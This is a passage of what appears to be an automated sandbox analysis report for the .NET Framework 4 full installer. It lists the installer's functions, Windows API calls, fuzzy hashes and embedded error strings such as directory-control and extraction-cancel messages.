                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3_catch
                    • String ID:
                    • API String ID: 3886170330-0
                    • Opcode ID: e739fb38422466d8e84baa466fa28881156210a95d232c8dbfbc8006dc0cbdd8
                    • Instruction ID: baecccfbb257862959982a9d1a79fcb540b5fec6fa1462933788fbe49dac2a77
                    • Opcode Fuzzy Hash: e739fb38422466d8e84baa466fa28881156210a95d232c8dbfbc8006dc0cbdd8
                    • Instruction Fuzzy Hash: 33B092F8A882AC93DB40FBE2C2023BD5160AB18302FA00040B301151C2CA740A085223
                    Function 00AE7FD7 Relevance: 1.3, APIs: 1, Instructions: 55COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AE7E46: CreateEventA.KERNEL32(00000000,?,00000000,00000000), ref: 00AE7E5B
                    • GetLastError.KERNEL32 ref: 00AE803E
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CreateErrorEventLast
                    • String ID:
                    • API String ID: 545576003-0
                    • Opcode ID: c76933916b26ecfe842f3e03aeac1e8c6e77e8d871ba4928c436a78db8d00ec7
                    • Instruction ID: 6d4dc5d8b3b3d4e9cd3ddc554d62eca25695508d54a37878526248af2324e7d8
                    • Opcode Fuzzy Hash: c76933916b26ecfe842f3e03aeac1e8c6e77e8d871ba4928c436a78db8d00ec7
                    • Instruction Fuzzy Hash: B0014BB1504289BE9B20BBA69DC5C7F76ADDD51758350483DF14AD2001EB78AD488661
                    Function 00AD8417 Relevance: 1.3, APIs: 1, Instructions: 37COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AD9CA3: CreateFileW.KERNELBASE(?,?,00AFBEF0,00000000,00AD5AE3,?,00000000,?,00000000,?,?,?,00AD843A,?,40000000,00000005), ref: 00AD9CD2
                    • GetLastError.KERNEL32(?,40000000,00000005,00000002,00000080,00000000,00000000,?,00AD5AE3,00AFBEF0), ref: 00AD8444
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CreateErrorFileLast
                    • String ID:
                    • API String ID: 1214770103-0
                    • Opcode ID: c62bb7e644dccd20b549421c201c66e32e71a8a948231ff466f354cc32a339c1
                    • Instruction ID: e43df29cacc5abe7af3170414ee5d3c0689ef8878f7ee655c61df8c41fa196a8
                    • Opcode Fuzzy Hash: c62bb7e644dccd20b549421c201c66e32e71a8a948231ff466f354cc32a339c1
                    • Instruction Fuzzy Hash: A5F0F072D015296BC33157EAAD05BAABAA49F407B0F064322FA12EB391DB289C0186D4

                    Non-executed Functions

                    Function 00ADA7B1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135fileCOMMON
                    Download Yara Rule
                    APIs
                    • FindFirstFileW.KERNEL32(?,?,*.*,00000000,?,?,00000000,00000000), ref: 00ADA842
                    • GetLastError.KERNEL32 ref: 00ADA853
                    • FindNextFileW.KERNEL32(?,00000010), ref: 00ADA904
                    • CloseHandle.KERNEL32(000000FF), ref: 00ADA954
                    • FindClose.KERNEL32(000000FF), ref: 00ADA969
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Find$CloseFile$ErrorFirstHandleLastNext
                    • String ID: *.*
                    • API String ID: 3695076719-438819550
                    • Opcode ID: 5f34e9b952b0b34c08d8f0e8846d5f4c4f536620f05bb078959d9361877dbe48
                    • Instruction ID: c36c28d7d3376ec0fce82d47d5dd959c977a0cd98f8f40be130f429088eaf166
                    • Opcode Fuzzy Hash: 5f34e9b952b0b34c08d8f0e8846d5f4c4f536620f05bb078959d9361877dbe48
                    • Instruction Fuzzy Hash: A9517531D0162A9FCB20AF64CC9869DB7B4AF14324F1543E6E45BA7260EB319E85DF81
                    Function 00ADB4B3 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 17libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryW.KERNEL32(kernel32.dll,?,00ADB503), ref: 00ADB4C2
                    • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00ADB4D9
                    • GetProcAddress.KERNEL32(DecodePointer), ref: 00ADB4EB
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: AddressProc$LibraryLoad
                    • String ID: DecodePointer$EncodePointer$kernel32.dll
                    • API String ID: 2238633743-1525541703
                    • Opcode ID: 7f7cf57718cd37eebb9c38765affeea6387ea02a1a5245a171a09b19dfe6ee4f
                    • Instruction ID: 9566b7517fee1f8ca015fae2c402337b508dd9a395e33e4a1b2ff51939c084f8
                    • Opcode Fuzzy Hash: 7f7cf57718cd37eebb9c38765affeea6387ea02a1a5245a171a09b19dfe6ee4f
                    • Instruction Fuzzy Hash: A0E0B671D902A9AAE700EBF6BE19B653BA4B708721B000A57B40693362D7741496CA98
                    Function 00AE91D5 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • IsDebuggerPresent.KERNEL32 ref: 00AEAE0F
                    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AEAE24
                    • UnhandledExceptionFilter.KERNEL32(00AD1E14), ref: 00AEAE2F
                    • GetCurrentProcess.KERNEL32(C0000409), ref: 00AEAE4B
                    • TerminateProcess.KERNEL32(00000000), ref: 00AEAE52
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                    • String ID:
                    • API String ID: 2579439406-0
                    • Opcode ID: e1b52638d19fe04dcdc36ba0cea052d4f254b9bce5bed55d400f002a5e28f754
                    • Instruction ID: e35b12849b6dae6c22433a4fbab9cfeaf12c98e652d08910ec5934b3004cebf3
                    • Opcode Fuzzy Hash: e1b52638d19fe04dcdc36ba0cea052d4f254b9bce5bed55d400f002a5e28f754
                    • Instruction Fuzzy Hash: 9F21E2B4821304EFC750EFE9FC896653BB4FB18385F50415AE61A87B60EBB05982CF25
                    Function 00AD8DAE Relevance: 4.6, APIs: 3, Instructions: 51windowCOMMON
                    Download Yara Rule
                    APIs
                    • FormatMessageW.KERNEL32(000011FF,00000000,00000000,00000000,00000000,00000000,0000000C,00000000,00000000,?,?,?,00AD5D40,?,00000000,00000000), ref: 00AD8DE2
                    • GetLastError.KERNEL32(?,?,?,00AD5D40,?,00000000,00000000,0000000C,00000000), ref: 00AD8DEF
                    • LocalFree.KERNEL32(00000000,00000000,?,?,?,00AD5D40,?,00000000,00000000,0000000C,00000000), ref: 00AD8E27
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFormatFreeLastLocalMessage
                    • String ID:
                    • API String ID: 1365068426-0
                    • Opcode ID: e93644115fb0b854d573d512bbd049da2e0897b663df64edc6d367ec45be3e9c
                    • Instruction ID: c5fd776cbc491fad5736eea76f1a5c62f608dba1d22e8dd939c48e17bd6f67cd
                    • Opcode Fuzzy Hash: e93644115fb0b854d573d512bbd049da2e0897b663df64edc6d367ec45be3e9c
                    • Instruction Fuzzy Hash: 21018076901118FBCB15DF95CD088EEBB7AEB84750B15042AF50393240DF788E52DBA0
                    Function 00AE97AE Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                    Download Yara Rule
                    APIs
                    • SetUnhandledExceptionFilter.KERNEL32(Function_00019767), ref: 00AE97B3
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ExceptionFilterUnhandled
                    • String ID:
                    • API String ID: 3192549508-0
                    • Opcode ID: 791906d394120a304a48c093d34d354b668ada1badcdc89c8c32957cfa54c899
                    • Instruction ID: bcc28b0ee9e77b3143e85a72858cc431ed974a3221c26fa04eb536639c141408
                    • Opcode Fuzzy Hash: 791906d394120a304a48c093d34d354b668ada1badcdc89c8c32957cfa54c899
                    • Instruction Fuzzy Hash: 689002A0FA63406657005BB15D094063694AA58653F4109557103C4095DA5040455511
                    Function 00AD7016 Relevance: 59.8, APIs: 24, Strings: 10, Instructions: 271windowCOMMON
                    Download Yara Rule
                    APIs
                    • SendMessageW.USER32(00000000,0000000C,00000000,?), ref: 00AD71D4
                    • SendMessageA.USER32(?,00000028,00000000,00000000), ref: 00AD71DF
                    • GetDlgItem.USER32(?,000003F0), ref: 00AD7203
                    • GetLastError.KERNEL32 ref: 00AD7210
                    • GetDlgItem.USER32(?,000003F0), ref: 00AD72FD
                    • GetLastError.KERNEL32 ref: 00AD7307
                    • SendMessageW.USER32(00000000,0000000C,00000000,?), ref: 00AD7341
                    • SetWindowLongW.USER32(?,000000EB,?), ref: 00AD734D
                      • Part of subcall function 00AD87EB: GetProcessHeap.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8802
                      • Part of subcall function 00AD87EB: HeapReAlloc.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8809
                    • EndDialog.USER32(00000001,80070642), ref: 00AD738C
                    Strings
                    • Failed to get the label control, xrefs: 00AD70E2
                    • Failed to get text from the directory control, xrefs: 00AD72C6
                    • Failed to get the directory control, xrefs: 00AD71BA, 00AD7231
                    • Failed to get the text of the label, xrefs: 00AD7120
                    • Failed to get text length from the directory control, xrefs: 00AD726D
                    • Call to the SHGetPathFromIDListW failed, xrefs: 00AD7184
                    • Failed to allocate memory for the directory value, xrefs: 00AD7084
                    • Failed to get the directory control., xrefs: 00AD7328
                    • Failed to allocate memory for the directory control value, xrefs: 00AD7289
                    • Failed to allocate memory for the title, xrefs: 00AD70A3
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: MessageSend$ErrorHeapItemLast$AllocDialogLongProcessWindow
                    • String ID: Call to the SHGetPathFromIDListW failed$Failed to allocate memory for the directory control value$Failed to allocate memory for the directory value$Failed to allocate memory for the title$Failed to get text from the directory control$Failed to get text length from the directory control$Failed to get the directory control$Failed to get the directory control.$Failed to get the label control$Failed to get the text of the label
                    • API String ID: 2993860606-745645607
                    • Opcode ID: 80e596aa105f5dc81bedbb5dc399e47afb42d839dc9ffd19b2256003e6256484
                    • Instruction ID: b9f73d90d39444799ff8030085249797cee0ffcba8da8c2ce207fb0858b33ffd
                    • Opcode Fuzzy Hash: 80e596aa105f5dc81bedbb5dc399e47afb42d839dc9ffd19b2256003e6256484
                    • Instruction Fuzzy Hash: BC91C236D49226BBDB25AFA4CD48BDD7B64AF04310F164237FE07BB390E6758D409A90
                    Function 00AEA919 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00AE90DE), ref: 00AEA921
                    • __mtterm.LIBCMT ref: 00AEA92D
                      • Part of subcall function 00AEA5DA: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(00000005,00AEAA8F,?,00AE90DE), ref: 00AEA5EB
                      • Part of subcall function 00AEA5DA: TlsFree.KERNEL32(0000000E,00AEAA8F,?,00AE90DE), ref: 00AEA605
                      • Part of subcall function 00AEA5DA: DeleteCriticalSection.KERNEL32(00000000,00000000,00ADB4F9,?,00AEAA8F,?,00AE90DE), ref: 00AED09B
                      • Part of subcall function 00AEA5DA: _free.LIBCMT ref: 00AED09E
                      • Part of subcall function 00AEA5DA: DeleteCriticalSection.KERNEL32(0000000E,00ADB4F9,?,00AEAA8F,?,00AE90DE), ref: 00AED0C5
                    • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00AEA943
                    • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00AEA950
                    • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00AEA95D
                    • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00AEA96A
                    • TlsAlloc.KERNEL32(?,00AE90DE), ref: 00AEA9BA
                    • TlsSetValue.KERNEL32(00000000,?,00AE90DE), ref: 00AEA9D5
                    • __init_pointers.LIBCMT ref: 00AEA9DF
                    • _EncodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AE90DE), ref: 00AEA9F0
                    • _EncodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AE90DE), ref: 00AEA9FD
                    • _EncodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AE90DE), ref: 00AEAA0A
                    • _EncodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AE90DE), ref: 00AEAA17
                    • _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(Function_0001A772,?,00AE90DE), ref: 00AEAA38
                    • __calloc_crt.LIBCMT ref: 00AEAA4D
                    • _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(00000000,?,00AE90DE), ref: 00AEAA67
                    • GetCurrentThreadId.KERNEL32 ref: 00AEAA79
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Internal@4Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
                    • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
                    • API String ID: 1131704290-3819984048
                    • Opcode ID: 9babec2f6349b646817577c90040f641607a6a3a61e79268fdb26a3fe0e76a7f
                    • Instruction ID: 17a68bc306b7cd0ae3a67dcd78534c410ab17d36c25a687adde5e9daac7531e6
                    • Opcode Fuzzy Hash: 9babec2f6349b646817577c90040f641607a6a3a61e79268fdb26a3fe0e76a7f
                    • Instruction Fuzzy Hash: 50317231912351AED761EFF6ED8962A3FB1FB64361B10152BE619832B0DBB09442CF61
                    Function 00AD7EE0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 134memoryCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AD87EB: GetProcessHeap.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8802
                      • Part of subcall function 00AD87EB: HeapReAlloc.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8809
                    • GetProcessHeap.KERNEL32(00000000,?,?,01000191,?,0100002D,?,00000000,00000000,00000000,?,?,?,?,00AD7DDD,00000000), ref: 00AD8016
                    • HeapFree.KERNEL32(00000000,?,?,?,?,00AD7DDD,00000000,00000000,?,?,?,00AD7780,?,00000000,00000000,00AFBEF0), ref: 00AD8019
                    • GetProcessHeap.KERNEL32(00000000,00000000,?,01000191,?,0100002D,?,00000000,00000000,00000000), ref: 00AD802F
                    • HeapFree.KERNEL32(00000000), ref: 00AD8032
                    Strings
                    • Ignoring the partition '%S' because it doesn't look like a DOS name, xrefs: 00AD7FBD
                    • Failed to allocate an empty drive map, xrefs: 00AD7F0A
                    • Cluster resource type: '%S', xrefs: 00AD7F3E
                    • Failed to get the cluster property CLUSCTL_RESOURCE_STORAGE_GET_DISK_INFO, xrefs: 00AD7F87
                    • Ignoring cluster resource as it's not a Physical Disk, xrefs: 00AD7F5D
                    • Physical Disk, xrefs: 00AD7F49
                    • Found a partition on cluster resource: '%S', xrefs: 00AD7FA7
                    • Failed to get the cluster property CLUSCTL_RESOURCE_GET_RESOURCE_TYPE, xrefs: 00AD7F34
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$Process$Free$Alloc
                    • String ID: Cluster resource type: '%S'$Failed to allocate an empty drive map$Failed to get the cluster property CLUSCTL_RESOURCE_GET_RESOURCE_TYPE$Failed to get the cluster property CLUSCTL_RESOURCE_STORAGE_GET_DISK_INFO$Found a partition on cluster resource: '%S'$Ignoring cluster resource as it's not a Physical Disk$Ignoring the partition '%S' because it doesn't look like a DOS name$Physical Disk
                    • API String ID: 3689955550-1827234441
                    • Opcode ID: c8457f0a71d994570ee8a2553d44fe5fdfdf63a054969d66d873e37078685cd1
                    • Instruction ID: 5def49b0fdd4beea79ffa8119527718359302545ddd32cfa771a34f583fb68a0
                    • Opcode Fuzzy Hash: c8457f0a71d994570ee8a2553d44fe5fdfdf63a054969d66d873e37078685cd1
                    • Instruction Fuzzy Hash: 6E41B071944209FBCB21EBA18D42DAEBBB8FF48740F10485BF417A2351EB759A45CB50
                    Function 00AD676F Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 122COMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleW.KERNEL32(00000000,00000002,00000000,00000000,?,?,00AD635A,00000000,00000002), ref: 00AD67A6
                    • InitializeCriticalSection.KERNEL32(00AFBF10,00000000,000001F4,?,?,00AD635A,00000000,00000002,?,?,?,?,?,?,?,00AD5B83), ref: 00AD67C6
                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00AD635A,00000000,00000002), ref: 00AD67D6
                    • GetLastError.KERNEL32(?,?,00AD635A,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD67E5
                    • DeleteCriticalSection.KERNEL32(00AFBF10,00000002,00000000,00000000,?,?,00AD635A,00000000,00000002), ref: 00AD68B3
                    • CloseHandle.KERNEL32(?,00000002,00000000,00000000,?,?,00AD635A,00000000,00000002), ref: 00AD68DE
                    • CloseHandle.KERNEL32(?,00000002,00000000,00000000,?,?,00AD635A,00000000,00000002), ref: 00AD68EA
                    Strings
                    • Failed to create progress reporting initialization event, xrefs: 00AD680B
                    • Failed to create the UI thread, xrefs: 00AD6851
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Handle$CloseCriticalSection$CreateDeleteErrorEventInitializeLastModule
                    • String ID: Failed to create progress reporting initialization event$Failed to create the UI thread
                    • API String ID: 2625854008-3587447334
                    • Opcode ID: 73540de3f601f22bd8e0894ed60bea235e10f3d9b08b66ee56fd825192e8ae0d
                    • Instruction ID: ffef68c6d999aa1262ab702a5c85255eb5728bec7f67d879885733988d36c853
                    • Opcode Fuzzy Hash: 73540de3f601f22bd8e0894ed60bea235e10f3d9b08b66ee56fd825192e8ae0d
                    • Instruction Fuzzy Hash: A2419670942128FFC720EFD5DE498AE7B78FB057607104927F516E7261D7348A82EB90
                    Function 00AD6A56 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 124windowCOMMON
                    Download Yara Rule
                    APIs
                    • SendMessageA.USER32(?,00000010,00000000,00000000), ref: 00AD6AB5
                    • SetWindowTextW.USER32(?,?), ref: 00AD6AD6
                    • SetEvent.KERNEL32 ref: 00AD6AE8
                    • EndDialog.USER32(?,00000000), ref: 00AD6B0C
                      • Part of subcall function 00AD6BE1: EnterCriticalSection.KERNEL32(00AFBF10,?,?,?,00AD6AF8,?), ref: 00AD6BF2
                      • Part of subcall function 00AD6BE1: MessageBoxW.USER32(?,00000000,00000024,0000000B), ref: 00AD6C28
                      • Part of subcall function 00AD6BE1: LeaveCriticalSection.KERNEL32(00AFBF10,?,?,00AD6AF8,?), ref: 00AD6C3E
                    • PostQuitMessage.USER32(00000000), ref: 00AD6B15
                    • GetDlgItem.USER32(?,000003E9), ref: 00AD6B3C
                    • GetLastError.KERNEL32 ref: 00AD6B46
                    • GetDlgItem.USER32(?,000003E8), ref: 00AD6B7E
                    • GetLastError.KERNEL32 ref: 00AD6B88
                    • EndDialog.USER32(?,00000000), ref: 00AD6BBE
                    • SendMessageW.USER32(00000000,?,?,?), ref: 00AD6BD0
                    Strings
                    • Failed to get progress bar control., xrefs: 00AD6BA9
                    • Failed to get status static control., xrefs: 00AD6B67
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Message$CriticalDialogErrorItemLastSectionSend$EnterEventLeavePostQuitTextWindow
                    • String ID: Failed to get progress bar control.$Failed to get status static control.
                    • API String ID: 1138200761-1184021424
                    • Opcode ID: 7b61430653b9abf56b906386cf0c993cb3737c8ee7f8ade8d6607d879c9cded3
                    • Instruction ID: 174de57b7beef3bd9b372da79c33973d37727a939feb4dcb8c737b9d0b8a6036
                    • Opcode Fuzzy Hash: 7b61430653b9abf56b906386cf0c993cb3737c8ee7f8ade8d6607d879c9cded3
                    • Instruction Fuzzy Hash: 094126324C0415BBCB22AFA8DD0CDB93B34EB90790B118523F847E62A1D7358E52DB90
                    Function 00ADADE5 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 188fileCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AD84C7: GetLocalTime.KERNEL32(?,?,00000000,?,?,00AD6E90,00000000), ref: 00AD84E2
                      • Part of subcall function 00AD84C7: swprintf.LIBCMT ref: 00AD8513
                    • GetLastError.KERNEL32(?,40000000,00000005,00000002,08000080,?,00000000,?,?,00000000,000000FF), ref: 00ADAEA7
                    • SetEndOfFile.KERNEL32(?,00000000,?,?,?,40000000,00000005,00000002,08000080,?,00000000,?,?,00000000,000000FF), ref: 00ADAEED
                    • SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00ADAF04
                    • ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?), ref: 00ADAF7C
                    • CloseHandle.KERNEL32(?,00000000,?,?,?,40000000,00000005,00000002,08000080,?,00000000,?,?,00000000,000000FF), ref: 00ADB02C
                    • GetLastError.KERNEL32 ref: 00ADB057
                      • Part of subcall function 00AD9B6A: SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00ADA52C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AD9B82
                      • Part of subcall function 00AD9B6A: GetLastError.KERNEL32(?,?,?,00ADA52C,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00AD9B8C
                    Strings
                    • User canceled extraction..., xrefs: 00ADB019
